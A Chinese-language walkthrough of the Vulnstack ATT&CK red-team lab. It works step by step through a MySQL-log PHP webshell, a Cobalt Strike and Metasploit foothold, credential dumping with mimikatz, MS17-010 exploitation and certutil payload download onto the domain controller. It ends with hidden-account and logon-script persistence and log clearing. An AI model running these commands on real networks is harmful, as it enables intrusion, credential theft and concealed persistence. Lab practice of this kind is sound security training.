ATT&CK(一)
环境搭建
下载链接
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
原来的适配器删了重新加一个适配器
同一密码
hongrisec@2019
看好适配器 4
测试
nmap扫描
.\nmap.exe 192.168.1.129 -sS -sV -A -T4 -p-
目录扫描
python .\dirmap.py -i http://192.168.1.129/ -lcf
有一个备份
访问这个
这里泄露了信息
模板写个shell试试
看一下路径
这里爆了绝对路径
新建一个字典
弱口令进来了.
查看写文件的权限
SHOW GLOBAL VARIABLES LIKE "secure%"
不可以写
数据库全局日志写入
查看是否开启了全局日志以及全局日志的存放位置
SHOW VARIABLES LIKE '%general%'
修改或者设置全局日志的保存目录为网站的web目录,并且日志保存为php文件
SHOW VARIABLES LIKE '%general%'
set global general_log_file="C:\\phpStudy\\WWW\\zf.php";
执行命令写入日志文件
SELECT "<?php @eval($_POST[zf]); ?>"
数据库慢查询日志写入
show variables like '%slow%'
set global slow_query_log=on;
set global slow_query_log_file="C:\\phpStudy\\WWW\\zf.php";
select '<?php @eval($_POST[zf1]);?>' or sleep(10);
cs
这里我们先搭建一下cs的服务端
先安装java8
yum install -y java-1.8.0-openjdk*
上传到服务器
加执行权限
chmod a+x agscript
chmod a+x c2lint
chmod a+x peclone
chmod a+x teamserver
启动
./teamserver 192.168.1.130 wanan
客户端连接
连不上放行一下50050端口
systemctl stop firewalld
我们先关闭防火墙
netsh advfirewall set allprofiles state off
把我们生成的exe马传上去
执行命令
上线了,我们先收集一下信息
shell whoami
shell netstat -ano
3389没开
为了不等待时间,我们把会话间隔调低一点
systeminfo
看补丁
信息收集的命令
netsh advfirewall set allprofiles state off
关闭防火墙
shell netstat -ano
查看开放端口
shell systeminfo
查看系统信息
shell ipconfig/all
查看网络信息
shell whoami
查看用户信息
shell whoami/all
查看所有用户信息
shell hostname
获取dns信息
shell net view
查看当前局域网中的计算机列表
shell net user
查看当前计算机中的用户
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
查询操作系统及软件信息
echo %PROCESSOR_ARCHITECTURE%
查看系统体系结构
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version"
使用PowerShell收集软件的版本信息
whoami && whoami /priv
查看当前权限
wmic service list brief
查询本机服务信息
wmic product get name, version
查看安装的软件的版本、路径等
wmic process list brief
查询进程信息
wmic startup get command,caption
查看启动程序信息
shell tasklist
查看常见的杀毒软件进程
shell net view /domain
查看主域信息
shell net time /domain
查看时间服务器
shell net config workstation
查看当前的登录域与用户信息
shell nslookup god.org
寻找域dns服务器ip
shell ping -a god.org
ping dns服务器
shell net user /domain
获取当前域内的用户
shell wmic useraccount get /all
获取域内用户的详细信息
shell net group "domain computers" /domain
查看当前域成员计算机列表
shell net group "domain admins" /domain
查看域管理员的用户组
shell net group "Enterprise admins" /domain
查询域系统管理员用户组
shell net group "domain controllers" /domain
查看域控制器
shell net accounts /domain
获取域密码信息
net view
扫描端口信息
hashdump
读取内存密码
logonpasswords
用mimakatz读注册表密码
shell for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
探测内网其他主机
两个网段,也很容易想到这个52是在内网的
发现是在域中的,并且dns域名为god.org
查看主域信息
shell net view /domain
shell net time /domain
shell net config workstation
shell nslookup god.org
这里没解析到,可能是因为nat模式的原因,不过就这样把,懒得改了.
shell ping -a god.org
shell net user /domian
shell wmic useraccount get /all
shell net group "domain computers" /domain
net group "domain admins" /domain
shell net group "Enterprise admins" /domain
shell net group "domain controllers" /domain
shell net accounts /domain
net view
hashdump
这里权限不够可以先去提权,插件Elevatekit
logonpasswords
这里的密码其实不应该改的.
shell for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
这里还有k8大神的工具ladon,内容丰富,扫描快
因为内网的目标机器192.168.52.138和192.168.52.141无法直接连接到kali 所以需要cs派生出一个smb beacon,让内网的主机连接到win7上面.我们
这里主要介绍SMB beacon, cs派生smb beacon. smb beacon通过命名管道与父级beacon进行通信,当两个beacons连接之后,子beacon从父beacon获取到任务并发送,因为连接的beacons使用windows命名管道进行通信,此流量封装与smb协议中,所以smb beacon相对隐蔽,绕过个防护墙有奇效.
第一种是在已经有的beacon上建立监听,用来作为跳板内网穿透,前提是通过shell访问其他内网主机,也就是获取dc的方法
第二种是直接派生一个子beacon,目的是为了进一步盗取内网主机的hash,新建一个listener,payload设置为beacon smb.
psexec使用凭证来登录其他主机.已经探测到了获取内网的其他targets以及读取到的凭证信息,可以利用psexec模块登录到其他主机
右键非域控主机(owa)的psexec模块
可以看到拿到了
额 … 都拿到了.
还可以使用token窃取
msf
我们从头来过
我们来把shell 弹到msf上面
msfconsole
启动msfconsole
use exploit/multi/handler
使用监听模块
set payload windows/meterpreter/reverse_http
设置 payload为 windows下的反向http连接
set lhost 192.168.1.128
设置本机ip作为监听ip
set lport 8888
设置本机8888端口作为监听端口
run
运行
新建监听器
getsystem
提权
配置静态路由
run get_local_subnets
查看网段子网
run autoroute -s 192.168.52.0/24
添加路由
run autoroute -p
查看路由
background
转入后台
使用socks4代理模块
use auxiliary/server/socks_proxy
set version 5
set srvhost 192.168.1.128
修改配置文件
edit /etc/proxychains4.conf
proxychains curl http://192.168.52.138
msf进行内网扫描
background
返回背景
use auxiliary/scanner/netbios/nbname
使用
show options
显示选项
set rhosts 192.168.52.0-255
设置远程扫描host为52的网段
run
运行
对192.168.52.138进行端口扫描
use auxiliary/scanner/portscan/tcp
使用tcp模块
set rhosts 192.168.52.138
设置扫描ip
set ports 80,135-139,3306,3389,445
设置扫描端口
run
set rhost 192.168.52.141
run
使用永恒之蓝(ms17-010)进行漏洞扫描
search ms17-010
搜索漏洞编号
use auxiliary/scanner/smb/smb_ms17_010
使用这个模块
set rhosts 192.168.52.138
设置目标ip
run
使用exploit/windows/smb/ms17_010_eternalblue
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.52.138
run
auxiliary/admin/smb/ms17_010_command可以执行命令
use auxiliary/admin/smb/ms17_010_command
使用这个模块
set rhosts 192.168.52.138
设置ip
set command whoami
设置命令
run
我们使用ms08-067搭配bind tcp
由于没有定义双向路由,目标系统无法直接连接到攻击机,所以我们需要将bind_tcp设置为payload类型,在exploit操作成功之后,就要对连接到目标系统的端口进行监听
search ms08-067
use 0
set payload windows/meterpreter/bind_tcp
也不行
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.138
set command whoami
run
set command net user wanan p-0p-0p-0 /add
run
set command net localgroup administrators wanan /add
run
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run
set command netsh advfirewall set allprofiles state off
run
proxychains rdesktop 192.168.52.138 -u wanan -p p-0p-0p-0
https://www.secpulse.com/wp-content/uploads/2015/05/cache-a360611dc24d240989799c29c555e4b7_wmiexec-v1_1.rar
通过蚁剑将wmiexec.vbs上传至web服务器。直接进行远程命令:
C:\\WINDOWS\\System32\\cscript.exe wmiexec.vbs /cmd 192.168.52.141 administrator p-0p-0p-0 "whoami"
cscript.exe wmiexec.vbs /cmd 192.168.52.138 whoami
由于域控处于内网环境且不能访问外网,所以没法使用反向shell,
可以让win7web服务器去正向连接域控,使用msf的bind_tcp模块
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.138
set lport 9999
exploit -j -z
使用exploit -j -z可在后台持续监听,-j为后台任务,-z为持续监听,
使用Jobs命令查看和管理后台任务。jobs -K可结束所有任务。
msfvenom -p windows/meterpreter/bind_tcp lport=9999 -f exe -o shell.exe
回到一开始web服务器的会话中,将生成的正向连接马传上去,
利用web服务,让域控将此正向连接马下载到本地并执行
cscript.exe wmiexec.vbs /cmd 192.168.52.138 "certutil -urlcache -split -f http://192.168.52.129/shell.exe | shell.exe"
cscript.exe wmiexec.vbs /cmd 192.168.52.138 "shell.exe"
这里即下载不下来也执行不了所以换一种方法
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.138
set lport 9999
run
发现权限太低.
失败了
直接换种方法执行shell
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.138
set command C:\Users\wanan\Downloads\shell.exe
run
迁移进程到svchost.exe
migrate 472
加载kiwi模块抓取密码
load kiwi
creds_all
creds_msv 获取密码hash值
creds_kerberos 获取密码明文
查看装了哪些软件
run post/windows/gather/enum_applications
我们重新对141进行尝试
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.52.141
run
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.141
run
search ms08-067
use 0
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.141
run
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.138
set command whoami
run
set command net user wanan p-0p-0p-0 /add
run
set command net localgroup administrators wanan /add
run
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run
proxychains rdesktop 192.168.52.141 -u wanan -p p-0p-0p-0
登录
也可以使用138的方式提到system权限.这里仅展示多种方式.
我们开启一下telnet服务
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set COMMAND sc config tlntsvr start= auto
run
set COMMAND net start telnet
run
set COMMAND netstat -an
run
连接
use auxiliary/scanner/telnet/telnet_login
set RHOSTS 192.168.52.141
set username wanan
set PASSWORD p-0p-0p-0
run
但是执行命令没反应
手动连
telnet 192.168.52.141
权限维持
影子账户
先删除我们之前创建的用户
shell
net user wanan /delete
添加隐藏用户
net user wanan$ p-0p-0p-0 /add
net localgroup administrators wanan$ /add
net user
我们来使用新用户连接,更改下注册表
(HKEY_LOCAL_MACHINE\SAM\SAM),修改SAM权限,赋予adminitrators完全控制权限
重启之后,将Administrator用户对应项的F数据值复制到wanan$用户对应项的F数据值
没找到,做个记录
重启之后,将Administrator用户对应项的F数据值复制到test$用户对应项的F数据值
将
test$和所对应项000003F1导出,分别命名为test.reg和1.reg
删除test$用户,将test.reg和1.reg导入注册表
net user test$ /del
regedit /s test.reg
regedit /s 1.reg
此时在用户组已经看不到test$用户,只能在注册表中能看到。
用工具试试https://github.com/wgpsec/CreateHiddenAccount/releases
管理员权限运行
CreateHiddenAccount_v0.2.exe -c 检查是否有隐藏账户
CreateHiddenAccount_v0.2.exe -u wanan -p p-0p-0p-0 创建名为wanan,密码为p-0p-0p-0的账户。会自动补上$
CreateHiddenAccount_v0.2.exe -d wanan$ 删除隐藏账户
logon scripts后门
Windows登录脚本,当用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截.首先用msf创建后门程序,注册表位置:HKEY_CURRENT_USER\Environment
REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Windows\System32\regIog.exe"(自己创建的后门exe)
copy C:\Users\wanan$\Downloads\shell.exe C:\Windows\System32\regIog.exe
忘记加exe了下面.
重启下试试.没成功
https://blog.youkuaiyun.com/qq_48985780/article/details/122297100
清除日志
windows 日志路径:
系统日志:%SystemRoot%\System32\Winevt\Logs\System.evtx
安全日志:%SystemRoot%\System32\Winevt\Logs\Security.evtx
应用程序日志:%SystemRoot%\System32\Winevt\Logs\Application.evtx
日志在注册表的键:HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog
其实还有很多工作没有做
http://www.iis7.com/a/nr/wz/202105/10491.html
https://blog.youkuaiyun.com/qq_38626043/article/details/117629847
https://blog.youkuaiyun.com/weixin_45605352/article/details/119740990
https://xz.aliyun.com/t/10076?page=1#toc-5
http://www.iis7.com/a/nr/wz/202105/10491.html